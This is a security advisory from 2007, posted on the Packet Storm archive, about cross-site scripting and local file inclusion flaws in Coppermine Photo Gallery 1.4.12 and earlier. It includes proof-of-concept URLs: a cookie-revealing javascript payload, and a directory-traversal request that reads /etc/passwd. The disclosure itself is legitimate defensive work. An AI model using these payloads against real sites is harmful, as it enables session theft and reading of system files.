what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

coppermine1412-xss.txt

coppermine1412-xss.txt
Posted Sep 18, 2007
Authored by L4teral

Coppermine versions 1.4.12 and below suffer from cross site scripting and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, xss, file inclusion
SHA-256 | be1f842763f76400b99bb1cecc955baecaa6e424d2e684a4257d7f2240ba88a0

coppermine1412-xss.txt

Change Mirror Download
============================================================
Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion
============================================================

Author: L4teral <l4teral [4t] gmail com>
Impact: Cross Site Scripting/Local File Inclusion
Status: patch available


------------------------------
Affected software description:
------------------------------

Application: Coppermine Photo Gallery
Version: <= 1.4.12
Vendor: http://coppermine-gallery.net

Description:
Coppermine is a multi-purpose fully-featured and integrated
web picture gallery script written in PHP using GD or ImageMagick
as image library with a MySQL backend.


----------------
Vulnerabilities:
----------------

The script mode.php does not properly sanitize the "referer" parameter.

The script viewlog.php does not properly sanitize the "log" parameter.


------------
Poc/Exploit:
------------

http://localhost/cpg/mode.php?admin_mode=1&referer=javascript:alert(document.cookie)

http://localhost/cpg/viewlog.php?log=../../../../../../../../../etc/passwd%00
(should need admin privileges)


---------
Solution:
---------

update to 1.4.13 or above


---------
Timeline:
---------

03.09.2007 - vendor informed
14.09.2007 - patch released by vendor
17.09.2007 - public disclosure
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close